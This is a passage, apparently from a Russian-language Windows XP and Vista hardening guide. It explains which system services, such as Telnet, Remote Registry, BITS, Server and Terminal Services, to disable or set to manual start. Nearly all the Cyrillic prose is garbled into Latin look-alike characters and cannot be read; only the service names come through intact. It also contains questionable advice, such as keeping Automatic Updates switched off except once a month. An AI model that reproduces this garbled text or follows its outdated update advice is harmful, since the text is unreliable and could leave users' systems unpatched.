cnyx6. Yb6egutecb, 4TO Bbl paboTaeTe C npaBamu, AOCTATOYHLIMW ASIS
OTKITHOYEHUS CIYXKO, N YTO KOMMbIOTEP HE NOAKMYEH K CeTw.

[MaHenb ynpaBneHus (Knaccuveckun Bua) — ALMUHUCTPUPOBAHUE —
Cnyx6bl. B cnucke cnegyet BblbpaTb Tpebyemyio cnyxby u asaxapl
LLeNKHYTb No Hel. B OkHe CBOMCTB 3aganTe pekoMeHAyeMbIW TN 3anycka U
nnbo octaHoBuTe cny0y, nubo, B cnydyae Tuna 3anycka ABTO, He

Nnpou3BoauTE HUKaKnX aencteum (puc. 8).

HrononHAereIi daiin
AR DOWS sepstem32hevchost exe -k NetwaorkService

Tun zanycka: OTEn4eHD w

AETO

B pyuHyt
CocToAHME: M

R Arumn 1 22270 AR SRASTAL S3A0AE 3 ARLRASUASKAL IS AR S S0 S

Puc. 8. Tun 3anycka u cocmosiHue Cr1yx06bl

PeKOMeHﬂ,yeM BaM 3anucblBaTb OENCTBUS, KOTOpPbIl€ Bbl BbINOJIHAETE.
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Ona cnepyowmx cnyxo6 Heo6xoauMMO BbIOpaThb TUN 3anycKa —
«OTKIIOYEHO» U OCTAaHOBUTb. ATU CINYXObl HUKOrAa He byayT

3anyLyeHbl.

DHCP-knueHT [DHCP Client]

DHCP-knueHT ynpasnsaeT KOHdUrypaumen cetu 1 no3BONsSeT KOMMNbTEPY
nonyvaTtb guHamumyeckun IP-agpec, a Takke BbINONMHATb obHoBneHne DNS.
[MPUHATO cumnTaTb, YTO NPU MogeMHOM unn ADSL-nogknoveHnn ata cnyxba
AOSMKHA OblTb aKTUBHA, XOTS OMNbITHbIM MYyTEM YCTAHOBMEHO, YTO MOAEMHbIE
NOLKMIOYEHNS He cTpadaroT Mpu ee OCTaHOBKe W OTKIMYeHuu. Ecnu Bawe
NOAKIoYEHNE HE MOXET (PyHKUMOHMpoBaThb 6€3 aTon cnyXbbl, BOCCTAHOBUTE
TUN 3anycka — «ABTO».

B Windows Vista ot gaHHoun cnyx6bl 3aBucut Cnyk6a aBTomMaTuyeckoro

obHapyxeHus Beb-npokcn WinHTTP.

DNS-knueHT [DNS Client]

KnneHt DNS, mnnun, Kak ero euwie HasblBaloT, kawmnposaHme DNS, BbinonHsaeT
3anpocbl Ha COOTHECEHME [OOMEHHbLIX uMeH u |P-agpecoB, nocne 4ero
COXpaHsieT MX B Kawe W no3BonsieT He obpawatbca Kk DNS-cepsepy
NOBTOPHO. 3Ta (YHKUMOHANbHOCTL He 4BnsieTcss Heobxogumon, a ee

OTKITIOYEHME 3aKpbIBaeT NUCMNOSMb3yeMbI 3TON CNyX6on ceTeBon NopT.

NetMeeting Remote Desktop Sharing
OT1a cnyxba paspellaeT nony4vyatb AOCTYN K yaaneHHomy pabovemy cTony c
ncnonb3osaHnem NetMeeting. [aHHbIn OyHKUMOHAN NOTEHUMANbHO YS3BUM,

N HEOOXOAMMO OTKITHOUYNUTDL €ro.

Telnet
Cnyxba Telnet npegoctaBnsieT yganeHHOMY MOMb30BaTENO BO3MOXHOCTb

NoAKNto4aTbhCs K KoMnboTepy nog ynpasneHnem Windows XP Pro u 6paTb
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Ha cebs ynpaBneHue. O4yeBuaHO, 4YTO AN obecrieyeHust Haanexawlero

ypoBHs1 6e3onacHoCTU gaHHas crnyxba TpebyeT 6e3yCcroBHOr0 OTKMOYEHUSI.

ABTOMaTnyeckoe obHoBneHne [Automatic Updates]

Cnyx6y aBToMaTudeckoro obHosrneHna Windows Heobxogmmo BknoyaTb 1
pa3 B Mecsil, Korga BbIXOAUT ovepeaHon naket obHoeneHunm ot Microsoft.
Bce octanbHble 29-30 gHen mecdAua OHa He MNPUHOCUT MOSib3bl U MOXET
cBOO6OOHO ObITb OTKNHOYEHA.

B Windows Vista paHHas cnyxba HasbiBaetca «LjeHmp o06HoerneHus

Windows (Windows Update)».

BecnpoBoaHas HacTpouka [Wireless Zero Configuration]

B Windows XP aTta cnyxba ocyuwecTBnser aBTOMaTUYECKYHD HACTPOWKY
BecnpoBogHbIX aganTepoB. Ecnn Bbl He Mcnonb3yeTe BecnpoBogHbIE CETH,
TO 9TOT QyHKUMOHaN MoOXeT ©ObiTb OTKNoYeH. Ecnu  aBToHacTponka
BecnpoBOAHLIX ceTen BaM Heobxoguma, ocTtaBbTe CRyXOy Kak eCTb WUnu
nepeseaute ee B TUN «Bpy4yHyro».

B Windows Vista ata cnyx6a Ha3sbiBaeTca «Cnyx6a asmoHacmpouku WLAN
(WLAN AutoConfig)» n ynpaensieT Takke NogkoyeHnsMn Kk 6ecnpoBogHbIM

ceTaMm.

BTopu4yHbIn Bxoa B cucrtemy [Secondary Logon]

OTknoYeHne pAaHHOW CrnyXObl HeoOGXoAMMO TONMbKO Ha Tex
KOMMNblOTEepax, rae UMeeTcs eAMHCTBEHHas y4YeTHas 3anucb, NOCKOSbKY
9TOT cepBUC obecneymBaeT BO3MOXHOCTb 3arnycka nporpamm OT MMEHU
apyroro nonb3oBaTtend. Ecnu nx gse n 6onee, n / unn Heobxoaum 3anyck
nporpaMm OT MMEHW agMWHUCTpaTopa (B YacTHOCTW, 3TO MNOBCEeAHEBHas
npakTuka B Windows Vista), To cnyx6a MoXeT ObiTb OCTaBfieHa B MONOXEHUM
«ABTO» (XOTSl B 9TOM Cryvae Bbl He BydeTe 3aluMLLEHbl OT YS3BMMOCTEN C

NOBbILLEHNEM NPUBUNETMI BPEAOHOCHLIX NPOrpamm).
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Oucnetyep ceteBoro DDE [Network DDE DSDM]

B Windows XP - cnyx6a gnHamunyeckoro obmeHa gaHHbIMW, ynpasBnsatoLas
obwmmu (shared) pecypcamm B nokanbHon cetn. B cuny cBoero HasHavyeHus
ABNSAETCHA NOTEHUMANbHON YSA3BUMOCTbLIO M MOTOMY MOXET ObITb OTKOYEHA.
OT aton cnyxbbl 3aBucat Cnyxb6a ceteBoro DDE n CepBep nanku

obmeHa.

Oucnetyep ceaHca cnpaBKU ANA yaaneHHoro pabo4yero crona [Remote
Desktop Help Session Manager]

B Windows XP ata cnyx6a obecneunBaeT pyHKUMOHMPOBAHUE YaaneHHOro
NMOMOLLHMKA W, COOTBETCTBEHHO, MOXET SABNATLCSA YSA3BUMOW, B CUIYy Yero

pekoMeHayeTCA K OTKITHIOYEeHUIO.

Hoctyn k HID-ycTtponcTtBam [Human Interface Device Access]
HaHHaga cnyxba npegHasHadeHa Ons NogaepXku knasuvw GbiCTporo gocTyna
Ha TeX NN UHbIX YCTPOMCTBax BBOAA Unu ynpaesneHunsa. Camm ycTponcTBa He

CTpanarT OT OTKIMHOYEeHNA 3TOIo cepBUCa.

INokaTtop yaaneHHoro BbizoBa npoueayp (RPC) [Remote Procedure Call
(RPC) Locator]

[aHHbIN cepBUC npefHasHadeH Ana ynpaeneHuss 6a3on JaHHbIX CNyXObl
nveH RPC.

Moaynb nopaepxku NetBIOS uyepe3s TCP/IP [TCP/IP NetBIOS Helper
Service]

Cnyxb6a LMHOSTS (NetBIOS) obecneunBaeT nogaep)Ky npoTOKona
NetBIOS B nokanbHOW ceTu, NO3BONAA MOMb3oBaTensaM Mony4atb 00LMK
AOCTyn K parvnam unu yctpouctBam. Kak u Bce cpencrtsa COBMECTHOIO
AOCTyrna, HaCTOATENBHO PEKOMEHAYIOTCS K OTKIMIOYEHUIO N faHHasa cnyxba, u

cam npotokon NetBIOS (06 atom cMm. cnieayrowmi pasgen). NpekpaweHne
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pa6OTb| OaHHOro cepBnca BO3MOXHO KaK MNpun rnpdaMoM nNOAOKIMKYEHUN K

NHTepHeTy, Tak 1 B JIOKanbLHOW CeTMW.

O6o3peBaTtenb KomnbioTepoB [Computer Browser]

[aHHbIN cepBUC co3gaeT 1 OOHOBNAET CMMCOK KOMMBIOTEPOB B CETU, a Takke
BblAaeT ero nporpamMmmam, KoTopble 3anpallnBaloT 3TOT CNUCOK. ATa crnyxba
3aBUCUT OT APYrMx OTKIIOYaeMbIX CNYX0 1 He CMOXeT BbITb 3anylieHa, 4YTo

nogpasymeBaeT Takke He06X0AUMOCTb OTKIIOYEHUSI ee CaMO.

OnoBewarenb [Alerter]

Cnyxba onosewatens B Windows XP npegHasHadeHa AnNa paccbifiku
yBeOMIIEHUIN OT agMMHUCTpaTopa B NOKanbHOW ceTu. [nsa koMmnbioTepa, He
BKIIOYEHHOTO B KOPMOPAaTUBHYK CETb MNPeanpuaATus, AaHHbIA YHKLMOHAr

ABNAeTCA U3NMNLWHAUM.

NMocTtaBwuk nogaepxkm 6esonacHoct NT LM [NT LM Security Support
Provider]

B Windows XP gaHHbIn cepBuc obecneymBaeT 6e30nacHOCTb Afst Nporpamm,
KOTOopble MCNonb3ylT dyHKUMoHan yaaneHHoro BbidoBa npouenyp (RPC)
Yyepes HeCcTaHO4apTHbIe TPaHCMOPThI.

Ot atou cnyx6bl 3aBUcKT cepsuc Telnet.

Pabou4asn ctaHuusa [Workstation]

OTa cnyxba npegHasHayeHa AN CO34aHus M NOOAEPXKKM MOOKITHOYEHUN
KOMMblOTepa K yaaneHHbIM cepBepam no npotokony SMB (Server Message
Block), cormacHo KOTOpPOMY OCYLLUECTBRSIETCA B3aumogencTane paboumx
CTaHUWM N cepBepoB B JIOKarbHOW ceTu. Ecnn Baw KoMnblOTEp HE BXOAUT B
KOpropaTuUBHYKO CceTb npeanpusatTnsa, B paboTe [OaHHOM Ccnyxbbl HeT
HeobXxoauMOCTMW.

Ot aTton cnyx6bl 3aBucaAT Ob603peBaTenb KoMnbloTepoB, CeTeBOU BXxoa B

cuctemy 1 Hactpomnka cnyx6 TepmmHanos.
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CepBep [Server]

Cnyx6a CepBep no3BonsieT nonyyaTtb yoaneHHbIn AOCTYn K YCTPOMUCTBaM U
pecypcam komnbtoTepa (dannam, npuHTepam u T.n.), YTO obpallaeT ee B
NnoTeHuManbHble BXOAHbIE BOPOTa AS151 HECAHKLMOHMPOBAHHOMO AOCTYyNa.

Ot gaHHon cny0bl 3aBucnT O603peBaTesib KOMMNbLIOTEPOB.

CepBep nankum oomeHa [ClipBook]
Cnyxb6a cepsepa nankm obmMeHa nogaepxmBaeT NPOCMOTP Nanok obmeHa Ha
yaaneHHbix komnbtoTepax B Windows XP. PekoMmeHayeTCs K OTKIHOYEHUIO Kak

CEpBUC, CBA3aHHbIN C yaaneHHbIM A0CTYNoM 1 obLLIMMKN pecypcamm CeTu.

CeteBou Bxoa B cuctemy [Netlogon]

Cnyxba ceTeBOoro Bxoga B CUCTEMY MNpeaHasHadeHa Ans CBA3N Mexay
KOMMbIOTEPOM U KOHTPOSIIEPOM OOMEHAa IOKanbHOW CEeTU, K KOTOPOMY OH
npunucaH, aAns npoBepKM NoANMMHHOCTU. Ecnn npu Bxoaoe B CUCTEMY Bbl HE
ncnonb3yeTe BbIOOP AOMEHA, HET HEOOXOANMOCTM B UCMOSb30BaHUN AAHHOW

Cnyx0bl.

Cnyx06a BoccTaHOBNEeHUs1 cucteMbl [System Restore Service]

Cnyxby System Restore B Windows XP uenecoobpasHO OTKMOYUTL, €Crun
Bbl UCMONb3yeTe CTOPOHHEE CPeACTBO BOCCTAHOBMEHUS cucTeMbl. Ecnu Bbl
nonaraeTecb Ha BCTPOeHHY cuctemy Windows, To crnyx0y MOXHO OCTaBUTb
kak ectb. O BoccrtaHoBneHmn cuctembl Windows cMm. Bbille B pasgene
«lMpoueaypbl NpeaoTBpaLLEHNs NOTEPb NMHPOPMaLUNY.

B Windows Vista pogctBeHHOW crniyxbon sasnsetca Apxueauyuss Windows

(Windows Backup). [Ina Hee pekoMeHayeTcs TUn 3anycka «BpyuHyro».

Cnyx6a nsigekcupoBaHus [Indexing Service]
OnacHocTb gaHHoW cnyxbbl, Lenblo KoTopon asndeTcs cbop mHpopmaumm

Ans yckopeHusi paboTbl BCTPOEHHOro cpeacTtea noucka Windows, coctouT B
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BO3MOXHOCTM COXPaHEHUS LEHHOM UNK KOHUAEHUMANbHON MHdopMaLnmn u
ee nocnegywouwen ytedkn B CeTb. CpencrtBo novcka, B CBOK o4vepenb,
cnocobHo obonTtuck 6e3 aToro pyHKUMoHana.

B Windows Vista gaHHasa cnyxba HasbiBaeTca «[Touck Windows (Windows

Search)». HecMoTpsi Ha HOBOE Ha3BaHWe, CyLLHOCTb €€ HEe U3MEHEHa.

Cnyx6a obHapyxeHua SSDP [SSDP Discovery Service]

Cdpepa oTBETCTBEHHOCTU 3TON CNYXObl — OBHapyXeHne ceTeBbIX YCTPONCTB
Universal Plug and Play B nokanbHon ceTtu. [Npn OTCyTCTBUM MNOCREeLHEN
cnyxba TepsieT CMbICN U NpeBpaLlaeTcs B yA3BUMOCTb.

B Windows Vista ata cnyxb6a HasbiBaetca «O6HapyxeHue SSDP (SSDP
Discovery)» n nogaepxmBaeT HEKOTOPbIN AONOMHUTENbHbIN (PYHKUMOHAN — B
4YacCTHOCTU, OTODpaXeHne KapTbl CETU U pasfeneHne ceTen Ha fnoKanbHble U
BHewHMne. Ecnu 9TOT (pyHKUMOHaAN BaxeH pn[na Bac, cnyxby MOXHO
nepesecty B TUN 3anycka «Bpy4yHyr», ogHako umenTte B BUAOY, YTO OHa
OTKpbIBaAET Ha NPOCNyLUMBAHME 3HAYUTENBbHOE KOMYECTBO NOPTOB — OBLUM
konimyecteom 0 10, B 3alMTe KOTOPLIX Bbl CMOXETE nosiaraTbCs TONMbKO Ha

OpaHamayap 1 co3aaHHOe Bamu NpaBumo 3anpeTta BXoASALMX COeaUHEHWIA.

Cnyxo6a ceteBoro DDE [Network DDE]

B Windows XP aTOT cepBuC OpraHM3yeT CeTEBON TpaHCNOpT 1 6e30nacHOCTb
ANHaMmn4eckoro obmeHa gaHHbIMU MeXay KOMMNbTEPaMn B TOKanNbHON CeTH.
Ob6paTtnte BHMMaHME, YTO NO4 CETEBbIM TPAHCNOPTOM U OOMEHOM JaHHbIMU
nogpasymeBaeTcsa He nogknoveHne Kk MHtepHety. Komnbtotep, paboTtatowmm
TONbKO B PEXMME UCXOOSALINX COOBLLEHUA N COEOUMHEHUN, HE HYXXOAeTcs B
AaHHOM doyHKUMOoHarne.

Ot atou cnyx6bl 3aBucnt CepBep nanku oomeHa.

Cnyx6a coobweHnn [Messenger]

OTOT cepBUC NO3BONSIET 0OMEHMBATLCA COOBLLEHUAMM MEXAY KITMEHTOM U
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cepBepoM B NokanbHol ceTu npeanpusatvs. OTKMOYEHWE OaHHOW CRyXObl
npedoTBpallaeT OTNpaBKy HeXenaTernbHbIX COOOLUEHUA Ha KOMMbTEpP

nocpeacTtBoM KoMmaHabl net send.

Cnyx6a wniw3a ypoBHA npunoxeHuna [Application Layer Gateway
Service]

Ecnn y Bac Windows XP SP2 wnu Bbllle, TO B AaHHOW cnyxbe HeT
HeobxoauMocCTu; B Bonee paHHUX Bepcusix oHa obecneymBana CTOPOHHME
nogknyaemble Mogynu npoTokona pgna obwero pgoctyna Kk Cetn wu
6pangmayapa Windows. Ecnn xe Bawa Bepcua Windows Huxe, yem XP
SP2, To cnyxba MoXeT ObiTb OCTaBfeHa Ha TuUMe 3anycka No YMOJSIYaHUIo,

T.e. «BpyuHytO».

Cnyxobl IPSEC [IPSEC Services]

Cnyxba IPSEC obecneunBaet 6e3onacHocTb npoTokona |IP nocpencrsom
NPOBEPKUN Yy3IOB Ha CETEBOM YPOBHE, NPOBEPOK NOASIMHHOCTU U Op., a Takke
yrnpaenseT nonutukon |P-6e3onacHocTn. B To ke BpemMsi oHa OTKpbiBaeT
MNOPT Ha NpOCnyLUMBaHNE N He obs3aTenbHa K MCNOSMb30BaHMIO ANA CETEBbIX
NOOKIHOYEHNN.

B Windows Vista ata cnyx6a HasblBaeTca «AzceHm nonumuku IPsec (IPsec

Policy Agent)».

Cnyx06bl TepMmuHanoB [Terminal Services]

HaHHasa cnyxba saBnseTca oCHOBOW Bcero oyHKUMoHana, npeaHasHa4eHHoro
ANS MHTEPaKTMBHOIrO yAaneHHoro AocTyna K BaweMy KOMMbKTepy -
yaaneHHoro pabodero ctona (BkMw4asa yaaneHHOe agMUHUCTPUPOBAHKE),
ObLICTPOro MNepekniyYeHns nonb3oBaTenen, yaaneHHoro MOMOLUHUKA, - WU
MOTOMY HACTOATENIbHO pPeKOMeHAyeTCA K OTKn4YeHut. [10604HbIM
a(ppekToM ee  OTKMOYEHUA  SBMSETCA  HEAOCTYNHOCTb  BbICTPOro

nepekniyeHnd nonb3oBaTenien wu npekpawieHmne OTO6pa)KeHI/IF| MMEHN
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nonb3oBaTens B [nucnetyepe 3agau.

OT aton cnyxbbl 3aBucAT COBMECTUMOCTb ObLICTPOro mnepekntYeHus
nonb3oBarteneun, [lepeHanpaBuTenb MNOPTOB MNOJfIb30BaTENbLCKOro
pexuma cnyx6 TtepmuHanoB u Cnyx6a meguanpuctaBkm Windows

Media Center.

CoBMecCTUMOCTb ObICTPOro nepeknyYeHuss nonb3oBartenen [Fast User
Switching Compatibility]

B Windows XP gaHHas cnyx6a obecneunBaeT BO3MOXHOCTb NEPEKITYEHMS
Ha OpYyryt Yy4eTHyl 3anucb 6e3 npekpaweHns paboTbl B npeablayluen.
[Mocne oTkn4YeHns Cnyxo6 TepMUHaNoB JTOT CEPBUC HEe MOXeT

3anyckatbCa U NMNOTOMY TakKXe OO0JIKEeH ObITb OTKMIOYEH.

YpaneHHbin peecTp [Remote Registry]

OTOT cCcepBUC NpPeaocTaBnsieT BO3MOXHOCTM  yAANEeHHOro ynpaBneHus
NoKanbHbIM PEEecTpoM, U3 Yero HernocpeacTBEHHO BbITEKAET BbICOKUI
YPOBEHb €ro onacHoOCTU N HEOBXOAMMOCTb ero OoTKNYeHus. [laHHas cnyxba

poctynHa B Windows XP Professional Edition n B Windows Vista.

doHoOBasA MHTeNnNeKTyanbHaa cnyxb6a nepepaum (BITS) [Background
Intelligent Transfer Service]

BITS obecneumBaet 3arpysky dannos m3 Cetn B (POHOBOM pexume,
MCMONb3ya He3aHATble pecypcbl ceTeBoro noaknoveHnsa. OB6blMHO OHa
npumeHsieTcs npu obHoeneHnun Windows n noTtoMy MOXeT ObiTb BKIOYEHa
BMecTe ¢ ABTOMATU4eCKMM OBHOBIIEHMEM Ha BpPEMS 3arpy3kM M YCTaHOBKM
OOHOBMNEHUN, nocrie 4Yero OTKNYeHa BHOBb. HeobxogumMo OTMETUTb, YTO
BpedOHOCHOEe nporpamMmmHoe obecrneveHne Takke MOXeT ncnonb3oBaTb BITS
ANS CKPbITOW 3arpys3kn Opyrnx BPeAOHOCHbLIX KOMMNOHEHTOB, YeM W Bbi3BaHa

pekomMeHgauna OoTKI4YaTb 3TOT CEPBUC.
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Ona cnepyrowmx cnyx6 HeobxoauMo BbIOpaThb TUN 3anycka — BpyyHyto
M OCTaHOBUTb. ATU CIRYXObI OyAyT 3anyLieHbl, eCfi B HUX BO3HUKHET

NOTPEeOHOCTb.

[oNONHUTENBLHO MNOSACHUM, 4YTO TUN 3anycka «Bpy4dHylo» pekomeHayeTcs
NPEUMYLLECTBEHHO AN TEX CUCTEMHbIX CRyX0, KOTOpble HE NPEeaCTaBnAloT
HenocpeacTBEHHOW ONacHOCTU, HO N He TPeBYTCA B KadecTBe 3anyLeHHbIX
NOCTOAHHO. OHM MOryT ObITb 3anyLieHbl Mo TpeboBaHUIO AN BbINOSTHEHUS
CBOMX (PYHKLMIA, HO BCE OCTanbHOE BPEMS, NoKa B HUX HET HEOBXOOMMOCTMN,

OHU He ByayT paboTaTb BXOMOCTYIO U 3aHMMaTb PECYPCbl KOMMbIOTEPA.

Microsoft Software Shadow Copy Provider

HaHHasa cnyxba ynpaBnseT nporpaMmMHbIM CO34aHUEM TEHEBbIX KOMUK BO
Bpemsi paboTbl Cnyx6bbl TEHEBOrO KONMPOBaHNA ToMa. TeHeBOE KONUpOBaHWE
ncnonb3yeTca ANg co3daHus  Konuu  pannoB,  3aHATbIX  OPYrvMU
NPUNOXEHUAMM.

B pyccknx Bepcusix Windows Vista, B otnuumne ot XP, gaHHaa cnyxba nveet
PYyCCKOSI3blYHOE HamMeHoBaHue — [IpoepaMMHbIU nocmasuwuk meHegoz20

KOMuUpOB8aHUSI.

Office Source Engine
OTOT cepBUC obecneumBaeT coxpaHeHue aucTpubytmsoB Microsoft Office
ANs  nocnefylowero W3MEHEeHUs WNM  BOCCTAHOBIIEHUS]  YCTaHOBMEHHbIX

KOMIMOHEHTOB MNMPOAYKTOB 3TOro ceMencTBa.

QoS RSVP

B Windows XP pgaHHas cnyxba npegHasHadeHa Onsi pacCbifik ONOBELLLEHUN
B JIOKanbHOW CeTU W YynpaBfeHuUs JoKanbHOW nepefadvyen OaHHbIX A1
nporpaMmm OTCIeXuBaHusa kadectsa ceteBoro obcnyxmsaHma QoS (Quality of

Service).
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Windows Installer
OTa cnyxba no3sondeT yctaHaBnNuBaTb, U3MEHATb N yOanaTb NporpamMMHble
NpoAYKTbl C MOMOLbIO ANCTpMbYyTMBOB B (bopmaTte yctaHoslmka Windows

(*.msi).

ApanTtep npounssogutenbHoctn WMI [WMI Performance Adapter]

WMI (Windows Management Instrumentation, MHCTpyMeHTapuin yrnpaBrneHus
Windows) nogaepxuBaeT pas3paboTKy U UCnonb3oBaHuve T.H. BGBubnuoTek
NpPoOu3BOAUTENLHOCTKN, MNOSfydeHMe U npefocTaBneHne wuHdgopmauun ot
KOTOpbIX obecneunBaeT ata cryxoa.

B Windows Vista gaHHbIM CEpBUC HE MMEET PYCCKOA3bIYHOrO Has3BaHUS W

nmenyetcs npocto WMI Performance Adapter.

Bpanamayap Windows / O6wun poctyn K UHTepHety (ICS) [Windows
Firewall / Internet Connection Sharing]

B Windows XP ato ogHa cnyx6a, B Windows Vista — gBe oTtaenbHble
(«<bpaHdmaysp Windows» wn «Obwuu 0ocmyrn K NOOKIOYEHUK K
UHmMmepHemys»).

Bpanomayap Windows — cnyxba, obecneunatowas paboTy BCTPOEHHOro
MEXCEeTEeBOro 3KkpaHa onepaumoHHON CUCTEMBI.

O6bwwmn poctyn K WIHTepHeTy — Habop dyHKUMA AONS  opraHu3aumm
COBMECTHOIO Ucnonb3oBaHnsa KMHTepHeTa HEeCKONbKMMW KOMMbKOTEPaAMU U
paboTbl Manopa3sMepHoOn NoKarbHON CeTH.

B Windows XP, ecnu y Bac ycTaHoBfeH ©OpaHamaysp CTOPOHHEro
npounssoauTens, ata cnyxba pekomeHayeTcs K TUnNy 3anycka «Bpy4Hyro» Ha
cnyyan BO3HWKHOBEHUS NoTpebHocTu B cbyHKunoHane ICS. B Windows Vista,
€CNnn Bbl NCMOSb3yeTe CTOPOHHUA MEXCETEBOW 3KpaH, cnyxba bpaHamayapa
Windows moxeT ObiTb oOTKnr4eHa; cnyxba ICS, B cBow ouyepeap,
OTKITO4EHA MO YMOMNYaHUIO.

Ecnn y Bac HeT cTopoHHero firewall, cnyx6y MoXHO OCTaBUTb Kak eCTb.
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Beo6-knueHT [Web Client]

Beb-knneHT npegHasHayeH pAana  obecneveHust goctyna K o doannam,
pasMelleHHbIM B MHTepHeTe. C nomowbio AaHHOW ChyxObl NPUAOXKEeHUs
Windows cnocobHbl co3gaBaTtb, NofnyyYaTb AOCTYN U U3MEHATb yOaneHHble

dannsl.

Oucnetyep aBTO-NOAKMIOYEHUN yaaneHHoro goctyna [Remote Access
Auto Connection Manager]

OTa cnyxba aBTOMaTUYeCKM MOAKNHYaET KOMMbKOTEP K yAaneHHOW CeTw,
Korga Ta UM uHas nporpamma nbltaetcs obpatutbca K yganeHHoMmy DNS
nnn NetBIOS nmenun / agpecy.

B Windows Vista HasBaHue paHHOM cnyxbbl yTouyHeHo: «Jucriemyep

asmomamuyecKux rnooKoYeHUl yoaneHHo20 docmyra.

OucneTtyep nornyecknx auckos [Logical Disk Manager]

B Windows XP paHHbIn gucnetyep Habniogaetr 3a  COCTOSHMEM
YCTaHOBMEHHbIX U MOAKMNIOYEHNEM HOBbIX XXECTKUX ANUCKOB, a Takke nepegaet
3Ty wuHbopmauuto Cnyxbe adMuHUCMPUPOBaHUS 502U4eCKUX OUCKOS,

KOTOpada ABliAeTCA OT HEe 3aBMCUMOWN.

Oucnetyep nogkn4YeHUM ypaaneHHoro poctyna [Remote Access
Connection Manager]

OTOT cepBUC ynpaBnseT NOAKMYEHMEM KOMMbIOTEPA K yOANeHHbIM CEeTSAM,
Hanpumep — K VIHTepHeTy.

B Windows XP oT aton cnyxbbl 3aBucut Qiucnetryep aBTO-NOAKITHOYEHUN
yaaneHHoro poctyna. B Windows Vista — Ttakke O6bwuin pgoctyn K

nogkno4veHuo K MHTepHeTy 1 MapLupyTusauma u yaaneHHbIW gocTyn.

XypHanbl u onoBeweHusi nponssoautTenbHocTn [Performance Logs and
Alerts]

HNaHHaa cnyxba cobupaeT wuHdOpMaUuKd O NPOU3BOAUTENBHOCTU C
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JIOKaJibHbIX U yOoaneHHbIX KOMIMbOTEPOB COrfiacHoO 3agaHHOMY pacrnncaHuto, a

TakKXke BedeT ee NnpoToKompoBaHne Unn BblaeT ONnoBeLLEeHUs.

UcTtouyHuk 6ecnepebonHoro nutanHmsa [Uninterruptible Power Supply]

B Windows XP aT0T cepBuC npegHasHadeH Ans yrnpaBneHna U3BEeCTHbIMU
cucteme yctponctesamu UBI. MctouHuk 6ecnepebonHoro nutaHnus — OgHo 13
cpefcTB  MPOTUBOAENCTBMSA  annapaTHbIM  yrposam NHopMaLnu,
3awmuiaroliee  KOMNbOTEP OT NepenagoB  HanpsKeHUs UM BHe3arnHoro
obectounBaHusa. Ecnn Baw MBI He pacno3HaeTca cuctemon, nmbo ecnu Bbl

He ucnonb3yeTe AaHHOEe YCTPOMCTBO, Cryxba MOXeT ObiTb N OTKIHOYEeHa.

KnueHt otcnexuBaHua wuameHuBluxca cBasen [Distributed Link
Tracking Client]

[Mpun ncnonb3oBaHun dannoson cuctembl NTFS 3TOT cepBuC nogaepxmeaet
CBA3N Mexay hannamum npu nx nepemeLLeHnn B npegenax kKomnoiotepa unim

ceTn.

KoopauHatop pacnpepeneHHbiX TpaH3akuuu [Distributed Transaction
Coordinator]

HaHHaa cnyxba KoopAWHWPYET MpoLecchl nepedayn AdaHHbIX  Mexay
pasHOPOAHbIMM AMCNeTYEpPaMn pPecypcoB (Takumu, Kak 6asbl  AaHHbIX,

oyepeamn coobLieHuin, pannoBble CUCTEMDI).

MapwpyTtusauma n yaaneHHboin goctyn [Routing and Remote Access]
OTa cnyxba ocywecTBNsAeT MapLpyTU3auuno B NIOKanbHOW nnu rnodanbHom
cetn (T.e. onpefenseTr HanpasfeHWe W MapLpyT OBWXKEHUSA CETEBbIX
NakeToB Npu X nepegade oT O4HOro KOMMNboTEPA K APYromy).

B Windows Vista gaHHbI cepBUC MO YMOSTHaAHUIO OTKITHOYEH, U CTaBUTb €ro
Ha Tun 3anycka «Bpy4yHylo», pasymeeTcsi, He HyXHO (ecnu y Bac HeT

noTpebHoCT B ero pabore).
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NMnannpoBwmk 3agaHmnm [Task Scheduler]

Cnyx6a lNnaHnpoBLUMKa 3agaHnin NO3BOMSET 3anyckaTb T€ UM UHbIE 3a4a4u
B COOTBETCTBMM C OMNpedeneHHbiM pacnucaHnem. Ecnm y Bac Het
3annaHMpoBaHHbIX 3adavy, W HUKaAKME MporpaMMHble MNPOAYKTbl  He
MCNONb3YIOT 3Ty CNyX0by (B YaCTHOCTU, ee 3a4eNCTBYIOT NPoayKTbl Symantec,
Apple n HekoTopble apyrue), cnyxkba MoxeT ObiTb NepeBegeHa M Ha Tun

3anycka «OTKIMHYeHO».

MpoTtokon HTTP SSL [HTTP SSL]

B Windows XP ata cnyxba obecneuymBaeT T.H. 6e3onacHble coeguHEHNS B
cetn NHtepHeT (HTTPS) ¢ mncnonb3oBaHmem SSL (Secure Socket Layer,
NPOTOKOS 3allMLLEHHbIX COKeTOB). BesonacHble coeanHeHust
OCYLLECTBNAITCA 4Yepe3 3aluLEeHHbI KaHamn, AOCTYN K KOTOPOMY W3BHE

CYNTAaeTCA HEBO3MOXHbIM.

CeTeBble noakntoyeHusa [Network Connections]

[aHHbIN  cepBMC ynpaBnsieT obbektamyn cuctemHonm nankm «CeTb W
yAaneHHbIn JOCTYN K CETU», KOTopas oTobpaxkaeT CBOMCTBA JIOKanbHOW CETU
N NOAKNKOYEHNI K YOaNeHHbIM CETAM.

B Windows XP ot aton cnyx6bl 3aBucut Bpanamayap Windows / O6Lwwun

aoctyn K UHTepHerTy.

Cucrema cob6biTin COM+ [COM+ Event System]

OTOT cepBUC obecneymBaeT QYHKUMOHMPOBAHME 3aBUCUMOW OT Hee
Cnyx6bl yBeOMITEHNMA O CUCTEMHbIX COOLITUAX, KOTOPAsA aBTOMaTUYECKN
nHgopmupyeT noanucaswmeca komnoHeHTbl COM (Component Object
Model, KkoMNoHEeHTHasi Moaefib O6bEKTOB) O COObITUAX B OnepauuoHHOWN
cucreme.

TexHonorna COM onpegenseTt obuiee B3anMoAenCTBME NporpamMmm Iobbix
TUMNOB, T.e. MO3BONMSET OOHOMY KOMMOHEHTY MO wucnonb3oBaTb OYHKUMN,

npegoctasfieHHble  OpyrMiM  KOMMNOHEHTOM, BHE 3aBUCUMMOCTU OT UX
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pacrnonoxexHms — 6yab TO OOAMH MpPOLECC, pasHble Npoueccbl Ha OAHOM
KOMMblOTEPE UMM Ha pasHbiX MawuHax. B nocrnegHem criydae roBopAT o
DCOM-TtexHonoruu (Distributed COM, pacnpeneneHHaa COM).

B Windows Vista oT 9aton cnyx0bl Takke 3aBucAT dDoHoBas
MHTeNnneKTyanbHaa cnyxo6a nepegayun, CucremHoe npunoxeHme COM+,
Pennukauumsn DFS, Cnyxb6a yBeAOMJIeHUN NV EeH3npoBaHuns

nporpaMmmMHoro o6ecrnevyeHums.

